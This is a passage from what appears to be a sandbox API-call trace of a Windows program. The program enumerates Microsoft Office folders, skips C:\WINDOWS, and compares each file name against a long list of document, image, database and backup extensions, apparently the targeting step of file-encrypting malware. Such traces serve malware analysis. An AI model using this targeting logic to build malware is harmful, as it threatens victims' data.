dwReserved1=0x2e0000, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1 [0226.121] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1046b0f3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1046b0f3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1046b0f3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1 [0226.122] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10491364, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10491364, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10491364, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1 [0226.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0226.123] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0226.581] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0226.581] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0226.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0226.583] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0226.583] FindClose (in: hFindFile=0x6cffc8 | out: hFindFile=0x6cffc8) returned 1 [0226.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0226.583] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0226.583] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0226.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0226.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16") returned 57 [0226.586] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16") returned 1 [0226.586] lstrlenW (lpString="Document Themes 16") returned 18 [0226.586] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Document Themes 16") returned -1 [0226.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0226.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16") returned 57 [0226.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0008 [0226.588] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.588] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11161e0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb447d, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Facet.thmx", cAlternateFileName="FACET~1.THM")) returned 1 [0226.588] lstrlenW (lpString="Facet.thmx") returned 10 [0226.588] lstrlenW (lpString=".1cd") returned 4 [0226.588] lstrcmpiW (lpString1=".1cd", lpString2="thmx") returned -1 [0226.588] lstrlenW (lpString=".3ds") returned 4 [0226.588] lstrcmpiW (lpString1=".3ds", lpString2="thmx") returned -1 [0226.588] lstrlenW (lpString=".3fr") returned 4 [0226.588] lstrcmpiW (lpString1=".3fr", lpString2="thmx") returned -1 [0226.588] lstrlenW (lpString=".3g2") returned 4 [0226.588] lstrcmpiW (lpString1=".3g2", lpString2="thmx") returned -1 [0226.588] lstrlenW (lpString=".3gp") returned 4 [0226.588] lstrcmpiW (lpString1=".3gp", lpString2="thmx") returned -1 [0226.588] lstrlenW (lpString=".7z") returned 3 [0226.588] lstrcmpiW (lpString1=".7z", lpString2="hmx") returned -1 [0226.588] lstrlenW (lpString=".accda") returned 6 [0226.588] lstrcmpiW (lpString1=".accda", lpString2="t.thmx") returned -1 [0226.588] lstrlenW (lpString=".accdb") returned 6 [0226.588] lstrcmpiW (lpString1=".accdb", lpString2="t.thmx") returned -1 [0226.588] lstrlenW (lpString=".accdc") returned 6 [0226.588] lstrcmpiW (lpString1=".accdc", lpString2="t.thmx") returned -1 [0226.588] lstrlenW (lpString=".accde") returned 6 [0226.588] lstrcmpiW (lpString1=".accde", lpString2="t.thmx") returned -1 [0226.589] lstrlenW (lpString=".accdt") returned 6 [0226.589] lstrcmpiW (lpString1=".accdt", lpString2="t.thmx") returned -1 [0226.589] lstrlenW (lpString=".accdw") returned 6 [0226.589] lstrcmpiW (lpString1=".accdw", lpString2="t.thmx") returned -1 [0226.589] lstrlenW (lpString=".adb") returned 4 [0226.589] lstrcmpiW (lpString1=".adb", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".adp") returned 4 [0226.589] lstrcmpiW (lpString1=".adp", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".ai") returned 3 [0226.589] lstrcmpiW (lpString1=".ai", lpString2="hmx") returned -1 [0226.589] lstrlenW (lpString=".ai3") returned 4 [0226.589] lstrcmpiW (lpString1=".ai3", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".ai4") returned 4 [0226.589] lstrcmpiW (lpString1=".ai4", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".ai5") returned 4 [0226.589] lstrcmpiW (lpString1=".ai5", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".ai6") returned 4 [0226.589] lstrcmpiW (lpString1=".ai6", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".ai7") returned 4 [0226.589] lstrcmpiW (lpString1=".ai7", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".ai8") returned 4 [0226.589] lstrcmpiW (lpString1=".ai8", lpString2="thmx") returned -1 [0226.589] lstrlenW (lpString=".anim") returned 5 [0226.589] lstrcmpiW (lpString1=".anim", lpString2=".thmx") returned -1 [0226.589] lstrlenW (lpString=".arw") returned 4 [0226.589] lstrcmpiW (lpString1=".arw", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".as") returned 3 [0226.590] lstrcmpiW (lpString1=".as", lpString2="hmx") returned -1 [0226.590] lstrlenW (lpString=".asa") returned 4 [0226.590] lstrcmpiW (lpString1=".asa", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".asc") returned 4 [0226.590] lstrcmpiW (lpString1=".asc", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".ascx") returned 5 [0226.590] lstrcmpiW (lpString1=".ascx", lpString2=".thmx") returned -1 [0226.590] lstrlenW (lpString=".asm") returned 4 [0226.590] lstrcmpiW (lpString1=".asm", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".asmx") returned 5 [0226.590] lstrcmpiW (lpString1=".asmx", lpString2=".thmx") returned -1 [0226.590] lstrlenW (lpString=".asp") returned 4 [0226.590] lstrcmpiW (lpString1=".asp", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".aspx") returned 5 [0226.590] lstrcmpiW (lpString1=".aspx", lpString2=".thmx") returned -1 [0226.590] lstrlenW (lpString=".asr") returned 4 [0226.590] lstrcmpiW (lpString1=".asr", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".asx") returned 4 [0226.590] lstrcmpiW (lpString1=".asx", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".avi") returned 4 [0226.590] lstrcmpiW (lpString1=".avi", lpString2="thmx") returned -1 [0226.590] lstrlenW (lpString=".avs") returned 4 [0226.626] lstrcmpiW (lpString1=".avs", lpString2="thmx") returned -1 [0226.626] lstrlenW (lpString=".backup") returned 7 [0226.626] lstrcmpiW (lpString1=".backup", lpString2="et.thmx") returned -1 [0226.626] lstrlenW (lpString=".bak") returned 4 [0226.626] lstrcmpiW (lpString1=".bak", lpString2="thmx") returned -1 [0226.626] lstrlenW (lpString=".bay") returned 4 [0226.626] lstrcmpiW (lpString1=".bay", lpString2="thmx") returned -1 [0226.626] lstrlenW (lpString=".bd") returned 3 [0226.626] lstrcmpiW (lpString1=".bd", lpString2="hmx") returned -1 [0226.626] lstrlenW (lpString=".bin") returned 4 [0226.626] lstrcmpiW (lpString1=".bin", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".bmp") returned 4 [0226.627] lstrcmpiW (lpString1=".bmp", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".bz2") returned 4 [0226.627] lstrcmpiW (lpString1=".bz2", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".c") returned 2 [0226.627] lstrcmpiW (lpString1=".c", lpString2="mx") returned -1 [0226.627] lstrlenW (lpString=".cdr") returned 4 [0226.627] lstrcmpiW (lpString1=".cdr", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".cer") returned 4 [0226.627] lstrcmpiW (lpString1=".cer", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".cf") returned 3 [0226.627] lstrcmpiW (lpString1=".cf", lpString2="hmx") returned -1 [0226.627] lstrlenW (lpString=".cfc") returned 4 [0226.627] lstrcmpiW (lpString1=".cfc", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".cfm") returned 4 [0226.627] lstrcmpiW (lpString1=".cfm", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".cfml") returned 5 [0226.627] lstrcmpiW (lpString1=".cfml", lpString2=".thmx") returned -1 [0226.627] lstrlenW (lpString=".cfu") returned 4 [0226.627] lstrcmpiW (lpString1=".cfu", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".chm") returned 4 [0226.627] lstrcmpiW (lpString1=".chm", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".cin") returned 4 [0226.627] lstrcmpiW (lpString1=".cin", lpString2="thmx") returned -1 [0226.627] lstrlenW (lpString=".class") returned 6 [0226.627] lstrcmpiW (lpString1=".class", lpString2="t.thmx") returned -1 [0226.628] lstrlenW (lpString=".clx") returned 4 [0226.628] lstrcmpiW (lpString1=".clx", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".config") returned 7 [0226.628] lstrcmpiW (lpString1=".config", lpString2="et.thmx") returned -1 [0226.628] lstrlenW (lpString=".cpp") returned 4 [0226.628] lstrcmpiW (lpString1=".cpp", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".cr2") returned 4 [0226.628] lstrcmpiW (lpString1=".cr2", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".crt") returned 4 [0226.628] lstrcmpiW (lpString1=".crt", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".crw") returned 4 [0226.628] lstrcmpiW (lpString1=".crw", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".cs") returned 3 [0226.628] lstrcmpiW (lpString1=".cs", lpString2="hmx") returned -1 [0226.628] lstrlenW (lpString=".css") returned 4 [0226.628] lstrcmpiW (lpString1=".css", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".csv") returned 4 [0226.628] lstrcmpiW (lpString1=".csv", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".cub") returned 4 [0226.628] lstrcmpiW (lpString1=".cub", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".dae") returned 4 [0226.628] lstrcmpiW (lpString1=".dae", lpString2="thmx") returned -1 [0226.628] lstrlenW (lpString=".dat") returned 4 [0226.628] lstrcmpiW (lpString1=".dat", lpString2="thmx") returned -1 [0226.629] lstrlenW (lpString=".db") returned 3 [0226.629] lstrcmpiW (lpString1=".db", lpString2="hmx") returned -1 [0226.629] lstrlenW (lpString=".dbf") returned 4 [0226.629] lstrcmpiW (lpString1=".dbf", lpString2="thmx") returned -1 [0226.629] lstrlenW (lpString=".dbx") returned 4 [0226.629] lstrcmpiW (lpString1=".dbx", lpString2="thmx") returned -1 [0226.629] lstrlenW (lpString=".dc3") returned 4 [0226.629] lstrcmpiW (lpString1=".dc3", lpString2="thmx") returned -1 [0226.741] lstrlenW (lpString=".dcm") returned 4 [0226.741] lstrcmpiW (lpString1=".dcm", lpString2="thmx") returned -1 [0226.741] lstrlenW (lpString=".dcr") returned 4 [0226.741] lstrcmpiW (lpString1=".dcr", lpString2="thmx") returned -1 [0226.741] lstrlenW (lpString=".der") returned 4 [0226.741] lstrcmpiW (lpString1=".der", lpString2="thmx") returned -1 [0226.741] lstrlenW (lpString=".dib") returned 4 [0226.741] lstrcmpiW (lpString1=".dib", lpString2="thmx") returned -1 [0226.741] lstrlenW (lpString=".dic") returned 4 [0226.741] lstrcmpiW (lpString1=".dic", lpString2="thmx") returned -1 [0226.741] lstrlenW (lpString=".dif") returned 4 [0226.762] lstrcmpiW (lpString1=".dif", lpString2="thmx") returned -1 [0226.762] lstrlenW (lpString=".divx") returned 5 [0226.762] lstrcmpiW (lpString1=".divx", lpString2=".thmx") returned -1 [0226.762] lstrlenW (lpString=".djvu") returned 5 [0226.762] lstrcmpiW (lpString1=".djvu", lpString2=".thmx") returned -1 [0226.767] lstrlenW (lpString=".dng") returned 4 [0226.767] lstrcmpiW (lpString1=".dng", lpString2="thmx") returned -1 [0226.767] lstrlenW (lpString=".doc") returned 4 [0226.767] lstrcmpiW (lpString1=".doc", lpString2="thmx") returned -1 [0226.767] lstrlenW (lpString=".docm") returned 5 [0226.767] lstrcmpiW (lpString1=".docm", lpString2=".thmx") returned -1 [0226.768] lstrlenW (lpString=".docx") returned 5 [0226.768] lstrcmpiW (lpString1=".docx", lpString2=".thmx") returned -1 [0226.768] lstrlenW (lpString=".dot") returned 4 [0226.768] lstrcmpiW (lpString1=".dot", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".dotm") returned 5 [0226.768] lstrcmpiW (lpString1=".dotm", lpString2=".thmx") returned -1 [0226.768] lstrlenW (lpString=".dotx") returned 5 [0226.768] lstrcmpiW (lpString1=".dotx", lpString2=".thmx") returned -1 [0226.768] lstrlenW (lpString=".dpx") returned 4 [0226.768] lstrcmpiW (lpString1=".dpx", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".dqy") returned 4 [0226.768] lstrcmpiW (lpString1=".dqy", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".dsn") returned 4 [0226.768] lstrcmpiW (lpString1=".dsn", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".dt") returned 3 [0226.768] lstrcmpiW (lpString1=".dt", lpString2="hmx") returned -1 [0226.768] lstrlenW (lpString=".dtd") returned 4 [0226.768] lstrcmpiW (lpString1=".dtd", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".dwg") returned 4 [0226.768] lstrcmpiW (lpString1=".dwg", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".dwt") returned 4 [0226.768] lstrcmpiW (lpString1=".dwt", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".dx") returned 3 [0226.768] lstrcmpiW (lpString1=".dx", lpString2="hmx") returned -1 [0226.768] lstrlenW (lpString=".dxf") returned 4 [0226.768] lstrcmpiW (lpString1=".dxf", lpString2="thmx") returned -1 [0226.768] lstrlenW (lpString=".edml") returned 5 [0226.769] lstrcmpiW (lpString1=".edml", lpString2=".thmx") returned -1 [0226.769] lstrlenW (lpString=".efd") returned 4 [0226.769] lstrcmpiW (lpString1=".efd", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".elf") returned 4 [0226.769] lstrcmpiW (lpString1=".elf", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".emf") returned 4 [0226.769] lstrcmpiW (lpString1=".emf", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".emz") returned 4 [0226.769] lstrcmpiW (lpString1=".emz", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".epf") returned 4 [0226.769] lstrcmpiW (lpString1=".epf", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".eps") returned 4 [0226.769] lstrcmpiW (lpString1=".eps", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".epsf") returned 5 [0226.769] lstrcmpiW (lpString1=".epsf", lpString2=".thmx") returned -1 [0226.769] lstrlenW (lpString=".epsp") returned 5 [0226.769] lstrcmpiW (lpString1=".epsp", lpString2=".thmx") returned -1 [0226.769] lstrlenW (lpString=".erf") returned 4 [0226.769] lstrcmpiW (lpString1=".erf", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".exr") returned 4 [0226.769] lstrcmpiW (lpString1=".exr", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".f4v") returned 4 [0226.769] lstrcmpiW (lpString1=".f4v", lpString2="thmx") returned -1 [0226.769] lstrlenW (lpString=".fido") returned 5 [0226.769] lstrcmpiW (lpString1=".fido", lpString2=".thmx") returned -1 [0226.769] lstrlenW (lpString=".flm") returned 4 [0226.769] lstrcmpiW (lpString1=".flm", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".flv") returned 4 [0226.770] lstrcmpiW (lpString1=".flv", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".frm") returned 4 [0226.770] lstrcmpiW (lpString1=".frm", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".fxg") returned 4 [0226.770] lstrcmpiW (lpString1=".fxg", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".geo") returned 4 [0226.770] lstrcmpiW (lpString1=".geo", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".gif") returned 4 [0226.770] lstrcmpiW (lpString1=".gif", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".grs") returned 4 [0226.770] lstrcmpiW (lpString1=".grs", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".gz") returned 3 [0226.770] lstrcmpiW (lpString1=".gz", lpString2="hmx") returned -1 [0226.770] lstrlenW (lpString=".h") returned 2 [0226.770] lstrcmpiW (lpString1=".h", lpString2="mx") returned -1 [0226.770] lstrlenW (lpString=".hdr") returned 4 [0226.770] lstrcmpiW (lpString1=".hdr", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".hpp") returned 4 [0226.770] lstrcmpiW (lpString1=".hpp", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".hta") returned 4 [0226.770] lstrcmpiW (lpString1=".hta", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".htc") returned 4 [0226.770] lstrcmpiW (lpString1=".htc", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".htm") returned 4 [0226.770] lstrcmpiW (lpString1=".htm", lpString2="thmx") returned -1 [0226.770] lstrlenW (lpString=".html") returned 5 [0226.770] lstrcmpiW (lpString1=".html", lpString2=".thmx") returned -1 [0226.771] lstrlenW (lpString=".icb") returned 4 [0226.771] lstrcmpiW (lpString1=".icb", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".ics") returned 4 [0226.771] lstrcmpiW (lpString1=".ics", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".iff") returned 4 [0226.771] lstrcmpiW (lpString1=".iff", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".inc") returned 4 [0226.771] lstrcmpiW (lpString1=".inc", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".indd") returned 5 [0226.771] lstrcmpiW (lpString1=".indd", lpString2=".thmx") returned -1 [0226.771] lstrlenW (lpString=".ini") returned 4 [0226.771] lstrcmpiW (lpString1=".ini", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".iqy") returned 4 [0226.771] lstrcmpiW (lpString1=".iqy", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".j2c") returned 4 [0226.771] lstrcmpiW (lpString1=".j2c", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".j2k") returned 4 [0226.771] lstrcmpiW (lpString1=".j2k", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".java") returned 5 [0226.771] lstrcmpiW (lpString1=".java", lpString2=".thmx") returned -1 [0226.771] lstrlenW (lpString=".jp2") returned 4 [0226.771] lstrcmpiW (lpString1=".jp2", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".jpc") returned 4 [0226.771] lstrcmpiW (lpString1=".jpc", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".jpe") returned 4 [0226.771] lstrcmpiW (lpString1=".jpe", lpString2="thmx") returned -1 [0226.771] lstrlenW (lpString=".jpeg") returned 5 [0226.772] lstrcmpiW (lpString1=".jpeg", lpString2=".thmx") returned -1 [0226.772] lstrlenW (lpString=".jpf") returned 4 [0226.772] lstrcmpiW (lpString1=".jpf", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".jpg") returned 4 [0226.772] lstrcmpiW (lpString1=".jpg", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".jpx") returned 4 [0226.772] lstrcmpiW (lpString1=".jpx", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".js") returned 3 [0226.772] lstrcmpiW (lpString1=".js", lpString2="hmx") returned -1 [0226.772] lstrlenW (lpString=".jsf") returned 4 [0226.772] lstrcmpiW (lpString1=".jsf", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".json") returned 5 [0226.772] lstrcmpiW (lpString1=".json", lpString2=".thmx") returned -1 [0226.772] lstrlenW (lpString=".jsp") returned 4 [0226.772] lstrcmpiW (lpString1=".jsp", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".kdc") returned 4 [0226.772] lstrcmpiW (lpString1=".kdc", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".kmz") returned 4 [0226.772] lstrcmpiW (lpString1=".kmz", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".kwm") returned 4 [0226.772] lstrcmpiW (lpString1=".kwm", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".lasso") returned 6 [0226.772] lstrcmpiW (lpString1=".lasso", lpString2="t.thmx") returned -1 [0226.772] lstrlenW (lpString=".lbi") returned 4 [0226.772] lstrcmpiW (lpString1=".lbi", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".lgf") returned 4 [0226.772] lstrcmpiW (lpString1=".lgf", lpString2="thmx") returned -1 [0226.772] lstrlenW (lpString=".lgp") returned 4 [0226.773] lstrcmpiW (lpString1=".lgp", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".log") returned 4 [0226.773] lstrcmpiW (lpString1=".log", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".m1v") returned 4 [0226.773] lstrcmpiW (lpString1=".m1v", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".m4a") returned 4 [0226.773] lstrcmpiW (lpString1=".m4a", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".m4v") returned 4 [0226.773] lstrcmpiW (lpString1=".m4v", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".max") returned 4 [0226.773] lstrcmpiW (lpString1=".max", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".md") returned 3 [0226.773] lstrcmpiW (lpString1=".md", lpString2="hmx") returned -1 [0226.773] lstrlenW (lpString=".mda") returned 4 [0226.773] lstrcmpiW (lpString1=".mda", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".mdb") returned 4 [0226.773] lstrcmpiW (lpString1=".mdb", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".mde") returned 4 [0226.773] lstrcmpiW (lpString1=".mde", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".mdf") returned 4 [0226.773] lstrcmpiW (lpString1=".mdf", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".mdw") returned 4 [0226.773] lstrcmpiW (lpString1=".mdw", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".mef") returned 4 [0226.773] lstrcmpiW (lpString1=".mef", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".mft") returned 4 [0226.773] lstrcmpiW (lpString1=".mft", lpString2="thmx") returned -1 [0226.773] lstrlenW (lpString=".mfw") returned 4 [0226.773] lstrcmpiW (lpString1=".mfw", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mht") returned 4 [0226.774] lstrcmpiW (lpString1=".mht", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mhtml") returned 6 [0226.774] lstrcmpiW (lpString1=".mhtml", 